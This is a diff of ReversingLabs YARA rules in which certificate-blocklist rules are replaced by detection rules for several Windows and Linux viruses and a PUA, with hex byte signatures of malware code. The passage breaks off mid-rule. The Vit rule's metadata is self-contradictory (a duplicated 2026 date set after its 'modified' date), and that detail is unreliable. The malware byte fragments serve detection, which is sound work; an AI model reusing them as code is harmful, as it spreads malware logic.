83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 C3 33 C0 50 50 6A 03 50 6A 01 68 00 00 00 C0 56 + 8B 83 ?? ?? ?? ?? FF D0 C3 6A 00 51 6A 00 6A 04 6A 00 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 C3 51 6A 00 6A 00 6A + 02 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 C3 33 D2 F7 F1 0B D2 74 01 40 F7 E1 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Retalit LLC" and pe.signatures [ i ] . serial == "08:d4:35:21:85:31:72:71:c1:ce:c9:d0:5c:27:9a:f7" and 1596585601 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $mocket_body_1 at pe.entry_point ) and $mocket_body_2 and $mocket_body_3 } -rule REVERSINGLABS_Cert_Blocklist_B514E4C5309Ef9F27Add05Bedd4339A0 : INFO FILE +rule REVERSINGLABS_Win32_Virus_Greenp : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Greenp virus." author = "ReversingLabs" - id = "4b5abcfe-259e-5029-822b-c191b8d2c607" - date = "2020-08-05" - modified = "2023-11-08" + id = "5751e91c-652b-59bd-93b8-ece677ad4911" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5616-L5634" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Greenp.yara#L3-L46" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "665b280218528bbe3d5c65d043266469e5288587ed9d85d01797bef7ce132a6f" + logic_hash = "ca6df34ee2ad9d93e35b0d1a2d4765f681f3981ffe2786bbc822c3090212fd02" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Virus" + tc_detection_name = "Greenp" + tc_detection_factor = 5 importance = 25 + strings: + $greenp_body_1 = { + 68 ?? ?? ?? ?? 60 FC E8 4E 05 00 00 E8 31 04 00 00 0F 82 93 00 00 00 80 BD ?? ?? ?? ?? 01 75 63 FF 95 ?? ?? ?? ?? 6A 01 + 50 FF 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A 00 6A 00 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 EC 18 8B FC + 6A 00 6A 00 6A 00 57 FF 95 ?? ?? ?? ?? 85 C0 74 10 57 FF 95 ?? ?? ?? ?? 57 FF 95 ?? ?? ?? ?? EB DF 68 ?? ?? ?? ?? 6A 00 + FF 95 ?? ?? ?? ?? 83 C4 18 EB 27 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 85 C0 75 16 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? + ?? 85 C0 74 05 E8 81 00 00 00 61 58 FF E0 ?? E8 04 00 00 00 [4] 8B 3C 24 81 EC 00 01 00 00 8B F4 56 68 00 01 00 00 FF + 95 ?? ?? ?? ?? AC AA 81 C4 00 01 00 00 FF 95 ?? ?? ?? ?? 83 F8 03 75 2D 83 EC 10 8B F4 56 8D 46 04 50 8D 46 08 50 8D 46 + 0C 50 4F 57 FF 95 ?? ?? ?? ?? 8B 46 04 2B D2 F7 66 08 F7 66 0C 83 C4 10 3D 00 00 40 06 C3 [27] 81 EC ?? ?? ?? ?? 8B F4 + 68 ?? ?? ?? ?? 56 FF 95 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8A 17 88 14 06 40 47 80 FA 00 75 F4 68 ?? ?? ?? ?? 6A 00 FF 95 ?? + ?? ?? ?? 97 56 57 B9 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 3A 02 00 00 5F B8 ?? ?? ?? ?? 99 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 + 8B 57 3C 03 D7 0F B7 5A 14 8D 5C 13 40 8B 72 28 03 72 34 89 B5 ?? ?? ?? ?? C7 42 10 80 67 D5 40 FF 73 10 01 43 10 8B 43 + 10 05 ?? ?? ?? ?? 89 43 08 58 03 43 0C 89 42 28 52 B8 ?? ?? ?? ?? 99 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 5A 01 43 10 01 42 + 50 81 42 50 ?? ?? ?? ?? 57 C6 85 ?? ?? ?? ?? 01 81 C7 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? B9 ?? ?? ?? ?? FC F3 A4 C6 85 ?? ?? + ?? ?? 00 5F 5E 6A 00 6A 00 6A 02 6A 00 6A 00 68 00 00 00 C0 56 FF 95 ?? ?? ?? ?? 93 50 8B C4 6A 00 50 B8 ?? ?? ?? ?? 99 + } + $greenp_body_2 = { + 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 50 57 53 FF 95 ?? ?? ?? ?? 58 57 FF 95 ?? ?? ?? ?? 53 FF 95 ?? ?? ?? ?? 6A 00 56 FF 95 + ?? ?? ?? ?? 50 50 8B FC 8D 57 04 2B C0 52 57 50 68 3F 00 0F 00 50 50 50 8D 85 ?? ?? ?? ?? 50 68 02 00 00 80 FF 95 ?? ?? + ?? ?? 85 C0 75 1E 6A 0C 56 6A 01 6A 00 8D 85 ?? ?? ?? ?? 50 FF 37 FF 95 ?? ?? ?? ?? FF 37 FF 95 ?? ?? ?? ?? 81 C4 ?? ?? + ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SCABONE PTY LTD" and ( pe.signatures [ i ] . serial == "00:b5:14:e4:c5:30:9e:f9:f2:7a:dd:05:be:dd:43:39:a0" or pe.signatures [ i ] . serial == "b5:14:e4:c5:30:9e:f9:f2:7a:dd:05:be:dd:43:39:a0" ) and 1572566400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $greenp_body_1 at pe.entry_point ) and $greenp_body_2 } -rule REVERSINGLABS_Cert_Blocklist_13C7B92282Aae782Bfb00Baf879935F4 : INFO FILE +rule REVERSINGLABS_Win32_Virus_Cmay : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Cmay virus." author = "ReversingLabs" - id = "cc147c06-e0cf-5536-be3c-17e838b346a9" - date = "2020-08-05" - modified = "2023-11-08" + id = "d61e09f1-1d3f-5e1e-9884-25f1a465e88d" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5636-L5652" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Cmay.yara#L3-L73" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d4edbb446a51e5153ba88d6757d5fb610303eac3fd4bdd3b987b508dc618d2dc" + logic_hash = "f3bdf772eb80c632a913621732d12ae4a02bc7d3ba41f51711aa329be2ca6220" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Virus" + tc_detection_name = "Cmay" + tc_detection_factor = 5 importance = 25 + strings: + $cmay_body_1 = { + 60 66 9C E8 00 00 00 00 5D 8B C5 81 ED ?? ?? ?? ?? 2D 08 00 00 00 2D + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 3A 02 00 00 0F 82 7C 03 00 00 8D B5 + ?? ?? ?? ?? 8D BD ?? ?? ?? ?? E8 4F 02 00 00 E8 05 00 00 00 E9 61 03 + 00 00 8D BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? 03 6A 7F 57 FF 95 ?? ?? ?? + ?? 83 C7 7F 6A 7F 57 FF 95 ?? ?? ?? ?? 83 C7 7F 57 6A 7F FF 95 ?? ?? + ?? ?? 8D BD ?? ?? ?? ?? 80 BD ?? ?? ?? ?? 00 0F 84 20 03 00 00 FE 8D + ?? ?? ?? ?? 57 FF 95 ?? ?? ?? ?? 83 C7 7F 8D 9D ?? ?? ?? ?? 53 8D 9D + ?? ?? ?? ?? 53 FF 95 ?? ?? ?? ?? 83 F8 FF 74 CA 89 85 ?? ?? ?? ?? FF + 85 ?? ?? ?? ?? E8 C0 02 00 00 83 F8 FF 74 75 E8 70 02 00 00 85 C0 74 + 6C 8B 85 ?? ?? ?? ?? 8B 50 3C 3B 95 ?? ?? ?? ?? 73 5B 03 D0 8B 02 35 + 96 23 00 00 3D C6 66 00 00 75 4B 81 7A 4C 53 54 30 00 74 42 52 FF B5 + ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 5A FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? + E8 79 00 00 00 8F 85 ?? ?? ?? ?? 8F 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? + 05 7E 0E 80 BD ?? ?? ?? ?? 00 0F 85 40 FF FF FF C3 57 8D BD ?? ?? ?? + ?? B9 04 01 00 00 32 C0 F3 AA 5F FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? + FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? + ?? 8D 9D ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 85 C0 74 + 05 E9 2A FF FF FF E9 E9 FE FF FF 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? + 8B 5A 3C E8 87 01 00 00 89 B5 ?? ?? ?? ?? E8 8B 01 00 00 33 DB 8B 95 + ?? ?? ?? ?? 8B 42 3C 03 D0 0F B7 42 06 48 6B C0 28 0F B7 5A 14 83 C3 + 18 03 DA 03 C3 8B 58 10 03 58 14 03 9D ?? ?? ?? ?? 53 8B 4A 28 89 8D + ?? ?? ?? ?? 8B 4A 34 89 8D ?? ?? ?? ?? 8B 48 0C 03 48 10 89 8D ?? ?? + ?? ?? 89 4A 28 8B 70 10 81 C6 ?? ?? ?? ?? 8B 5A 3C E8 1D 01 00 00 89 + 70 10 89 70 08 03 70 0C 89 72 50 81 48 24 20 00 00 A0 C7 42 4C 53 54 + } + $cmay_body_2 = { + 30 00 5B B9 ?? ?? ?? ?? FC 8B FB 8D B5 ?? ?? ?? ?? F3 A4 FF B5 ?? ?? + ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? FF 95 ?? ?? ?? ?? C3 50 51 B9 05 00 00 00 8B 44 24 2E 25 00 + 00 FF FF 66 81 38 4D 5A 74 09 2D 00 00 01 00 E2 F2 EB 06 89 85 ?? ?? + ?? ?? 59 58 74 01 F9 C3 56 8B 95 ?? ?? ?? ?? 8B 72 3C 03 F2 8B 76 78 + 03 F2 83 C6 1C AD 03 C2 89 85 ?? ?? ?? ?? AD 03 C2 89 85 ?? ?? ?? ?? + AD 03 C2 89 85 ?? ?? ?? ?? 5E 57 E8 16 00 00 00 5F 89 07 83 C7 04 80 + 3E 88 C7 85 ?? ?? ?? ?? 00 00 00 00 75 E5 C3 8B DE 80 3E 00 74 03 46 + EB F8 46 8B CE 2B CB 8B F3 8B BD ?? ?? ?? ?? 57 8B 3F 03 FA 51 F3 A6 + 74 0F 8B F3 59 5F 83 C7 04 FF 85 ?? ?? ?? ?? EB E7 59 5F 8B 85 ?? ?? + ?? ?? D1 E0 03 85 ?? ?? ?? ?? 33 DB 66 8B 18 C1 E3 02 03 9D ?? ?? ?? + ?? 8B 1B 03 DA 8B C3 C3 50 52 33 D2 8B C6 F7 F3 2B DA 03 F3 5A 58 C3 + 8B 85 ?? ?? ?? ?? 6A 00 50 6A 00 6A 04 6A 00 FF B5 ?? ?? ?? ?? FF 95 + ?? ?? ?? ?? 85 C0 74 1E 89 85 ?? ?? ?? ?? 6A 00 6A 00 6A 00 6A 02 FF + B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 85 C0 75 02 33 C0 89 85 ?? ?? ?? ?? + C3 33 C0 50 68 80 00 00 00 6A 03 50 40 50 68 00 00 00 C0 8D B5 ?? ?? + ?? ?? 56 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C3 85 ED 0F 84 2A 04 00 + 00 33 C0 05 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE WIZARD GIFT CORPORATION" and pe.signatures [ i ] . serial == "13:c7:b9:22:82:aa:e7:82:bf:b0:0b:af:87:99:35:f4" and 1603130510 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $cmay_body_1 at pe.entry_point ) and $cmay_body_2 } -rule REVERSINGLABS_Cert_Blocklist_D627F1000D12485995514Bfbdefc55D9 : INFO FILE +rule REVERSINGLABS_Win32_Virus_Elerad : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Elerad virus." author = "ReversingLabs" - id = "4696fc12-16b7-575f-b90f-aa0a5cc12852" - date = "2020-08-05" - modified = "2023-11-08" + id = "0307a136-ea2c-584c-bfda-f41e2c46fd09" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5654-L5672" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Elerad.yara#L3-L33" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7ca590d71997879d17054a936238dd5273a52f3438d1b231a75927abfb118ffd" + logic_hash = "930594bf99daf55ef02542ce7b393c1c23ead75946b3da3b555102a2e7142e33" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Virus" + tc_detection_name = "Elerad" + tc_detection_factor = 5 importance = 25 + strings: + $elerad_body = { + EB 77 60 E8 09 00 00 00 8B 64 24 08 E9 DD 01 00 00 33 D2 64 FF 32 64 89 22 50 8B D8 B9 FF 00 00 00 81 38 2E 65 78 65 74 + 08 40 E2 F5 E9 BD 01 00 00 32 D2 38 50 04 0F 85 B2 01 00 00 33 D2 80 38 5C 74 07 3B C3 74 07 48 E2 F4 88 10 8B D0 58 BE + 00 00 E6 77 BF 23 C1 AB 00 EB 3E 60 E8 09 00 00 00 8B 64 24 08 E9 84 01 00 00 33 D2 64 FF 32 64 89 22 BE 00 00 E6 77 EB + 20 68 ?? ?? ?? ?? 60 8B 74 24 24 E8 09 00 00 00 8B 64 24 08 E9 5D 01 00 00 33 D2 64 FF 32 64 89 22 E8 00 00 00 00 5D 81 + ED ?? ?? ?? ?? 81 FF 23 C1 AB 00 75 0C 89 95 22 12 40 00 89 85 1E 12 40 00 BA ?? ?? ?? ?? B9 09 02 00 00 8D 85 D0 10 40 + 00 31 10 83 C0 04 E2 F9 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THREE D CORPORATION PTY LTD" and ( pe.signatures [ i ] . serial == "00:d6:27:f1:00:0d:12:48:59:95:51:4b:fb:de:fc:55:d9" or pe.signatures [ i ] . serial == "d6:27:f1:00:0d:12:48:59:95:51:4b:fb:de:fc:55:d9" ) and 1597622400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $elerad_body at pe.entry_point ) } -rule REVERSINGLABS_Cert_Blocklist_5Fb6Bae8834Edd8D3D58818Edc86D7D7 : INFO FILE +rule REVERSINGLABS_Linux_Virus_Vit : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Vit virus." author = "ReversingLabs" - id = "52b11933-f22c-53ea-88b7-75b3242907dd" - date = "2020-08-05" - modified = "2023-11-08" + id = "4515fe43-4c5a-521d-82b7-273823f0c64e" + date = "2026-03-01" + date = "2026-03-01" + modified = "2023-06-07" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5674-L5690" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Linux.Virus.Vit.yara#L3-L36" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a8cec0479bfd53f34e291d56538187c05375e80d20af7f0af08f0db8e1d6ed22" - score = 75 + logic_hash = "2fba7a081dfca85aee5c7f3b33414b799ed52ca6aa5bbf031da040aaa75acde9" + score = 40 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Virus" + tc_detection_factor = 5 importance = 25 + strings: + $vit_entry_point = { + 55 89 E5 81 EC 40 31 00 00 57 56 50 53 51 52 C7 85 D8 CE FF FF 00 00 00 00 C7 85 D4 + CE FF FF 00 00 00 00 C7 85 FC CF FF FF CA 08 00 00 C7 85 F8 CF FF FF B8 06 00 00 C7 + 85 F4 CF FF FF AD 08 00 00 C7 85 F0 CF FF FF 50 06 00 00 6A 00 6A 00 8B 45 08 50 E8 + 18 FA FF FF 89 C6 83 C4 0C 85 F6 0F 8C E6 01 00 00 6A 00 68 ?? ?? ?? ?? 56 E8 2E FA + FF FF 83 C4 0C 85 C0 0F 8C C4 01 00 00 8B 85 FC CF FF FF 50 8D 85 00 D0 FF FF 50 56 + E8 2A FA FF FF 89 C2 8B 85 FC CF FF FF 83 C4 0C 39 C2 0F 85 9D 01 00 00 56 E8 E1 F9 + FF FF BE FF FF FF FF 6A 00 6A 00 E9 + } + $vit_str = "vi324.tmp" + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tramplink LLC" and pe.signatures [ i ] . serial == "5f:b6:ba:e8:83:4e:dd:8d:3d:58:81:8e:dc:86:d7:d7" and 1600781989 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and $vit_entry_point at elf.entry_point and $vit_str } -rule REVERSINGLABS_Cert_Blocklist_E5Ad42C509A7C24605530D35832C091E : INFO FILE +rule REVERSINGLABS_Win32_Virus_Awfull : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Awfull virus." author = "ReversingLabs" - id = "29b1803e-90ee-5390-9548-20b24a3de218" - date = "2020-08-05" - modified = "2023-11-08" + id = "34104923-b401-5d39-883b-aa9a5a8e64f3" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5692-L5710" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Awfull.yara#L3-L33" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2d57d1c171734d0da167ce7eba47aecd88cd15063488d79659804c6c2fae00a2" + logic_hash = "84a4faee4cbbb3387ad25bd9230c6482b8db461bc008312bc782f23e3df2eae3" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Virus" + tc_detection_name = "Awfull" + tc_detection_factor = 5 importance = 25 + strings: + $awfull_body = { + 60 E8 ?? 00 00 00 8B 64 24 08 EB ?? [0-256] + 33 D2 64 FF 32 64 89 22 33 C0 C7 00 00 00 00 00 33 D2 64 8F 02 + 5A 64 (8B 0D | 67 8B 0E ) 14 00 [0-2] E3 03 FA + EB FD 61 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 0B ED 74 ?? + [0-128] (BE | 8B 35) ?? ?? ?? ?? 03 F5 B9 ?? ?? ?? ?? + 56 5F AC F6 D0 AA 49 E3 02 EB F7 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VESNA, OOO" and ( pe.signatures [ i ] . serial == "00:e5:ad:42:c5:09:a7:c2:46:05:53:0d:35:83:2c:09:1e" or pe.signatures [ i ] . serial == "e5:ad:42:c5:09:a7:c2:46:05:53:0d:35:83:2c:09:1e" ) and 1600786458 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $awfull_body at pe.entry_point ) } - -rule REVERSINGLABS_Cert_Blocklist_8E3D89C682F7C0Dad70110Cb7B7C8263 : INFO FILE +rule REVERSINGLABS_Win32_PUA_Domaiq : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Domaiq potentially unwanted application." author = "ReversingLabs" - id = "1adc776c-1549-5149-bd2f-81920a8d7255" - date = "2020-08-05" - modified = "2023-11-08" + id = "44129e4b-7dc2-5af0-b466-80dc4f4d6388" + date = "2020-07-28" + modified = "2020-07-28" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5712-L5730" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/pua/Win32.PUA.Domaiq.yara#L1-L169" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a0f42c5492469e7f132b000aead2d674fed4ea9c0e168579fd55a6c89b45ae4d" + logic_hash = "e291a639aa027a2257eec2853e40a222afabf23b32898326a1d5b48be823202c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "PUA" + tc_detection_name = "Domaiq" + tc_detection_factor = 1 importance = 25 + strings: + $payload = "PEFxdWlFbXBpZXphRWxQYXlsb2FkPg" + $NSIS_CheckIntegrity = { + 57 53 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 75 ?? 6A 1C 8D 45 + D8 53 50 E8 ?? ?? ?? ?? 8B 45 D8 A9 F0 FF FF FF 75 ?? 81 7D DC EF BE AD DE 75 ?? 81 + 7D E8 49 6E 73 74 75 ?? 81 7D E4 73 6F 66 74 75 ?? 81 7D E0 4E 75 6C 6C 75 ?? 09 45 + 08 8B 45 08 8B 0D ?? ?? ?? ?? 83 E0 02 09 05 ?? ?? ?? ?? 8B 45 F0 3B C6 89 0D ?? ?? + ?? ?? 0F 8F ?? ?? ?? ?? F6 45 08 08 75 ?? F6 45 08 04 75 + } + $NSIS_ErrorPart = { + 81 EC ?? ?? ?? ?? 53 55 56 33 DB 57 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 33 F6 C6 44 + 24 ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A + ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 8D 44 24 ?? 68 ?? ?? ?? ?? 50 53 + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? BF ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 80 3D ?? ?? ?? + ?? ?? A3 ?? ?? ?? ?? 8B C7 75 + } + $UPX_Decompression = { + 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 EE ?? 11 DB 72 ?? B8 ?? ?? ?? ?? 01 DB 75 ?? + 8B 1E 83 EE ?? 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE ?? 11 DB 72 ?? 48 01 DB 75 + } + $UPX_Encrypting = { + 31 C0 8A 07 30 D8 04 ?? 2C ?? 88 07 47 39 CF 75 + } + $dumping_functionv2014 = { + 55 8B EC 83 EC ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 + ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 89 45 ?? 85 C0 74 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 74 ?? 8B 45 ?? + 53 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? + 56 6A ?? 6A ?? 8B D8 6A ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 57 6A ?? 6A ?? 6A + ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 8B F8 52 57 E8 ?? ?? ?? ?? 83 C4 + ?? 57 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 53 FF D6 5F 5B 5E 8B E5 5D C3 + } + $dumping_functionMidVersion = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ?? ?? ?? 33 + DB BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 45 ?? 89 75 ?? 89 5D ?? 88 5D ?? FF 15 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 8B CF 8D 41 ?? 8A 11 41 3A + D3 75 ?? 2B C8 51 57 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? + 83 EC ?? 8B CC 89 65 ?? 6A ?? 89 71 ?? 89 59 ?? 68 ?? ?? ?? ?? 88 59 ?? E8 ?? ?? ?? + ?? 83 EC ?? 8B CC 89 65 ?? 6A ?? 53 8D 55 ?? 89 71 ?? 89 59 ?? 52 88 59 ?? E8 ?? ?? + ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B CC 89 65 ?? 6A ?? 89 71 ?? 89 59 ?? 68 ?? ?? + ?? ?? 88 59 ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 89 65 ?? 6A ?? 53 8D 45 ?? 89 71 ?? 89 + 59 ?? 50 88 59 ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B CC 89 65 ?? 6A ?? + 89 71 ?? 89 59 ?? 68 ?? ?? ?? ?? 88 59 ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 89 65 ?? 6A + ?? 53 8D 55 ?? 89 71 ?? 89 59 ?? 52 88 59 ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 + C4 ?? 8B C4 89 65 ?? 68 ?? ?? ?? ?? 8D 4D ?? 51 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? + ?? ?? 8B 7D ?? BE ?? ?? ?? ?? 83 C4 ?? 39 75 ?? 73 ?? 8D 7D ?? 68 ?? ?? ?? ?? 8D 55 + ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 40 ?? EB ?? 83 C0 ?? 8B + 4D ?? 57 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 75 ?? 72 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 + C4 ?? 39 75 ?? 72 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33 CD 33 C0 + 5B E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $dumping_functionE = { + 52 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 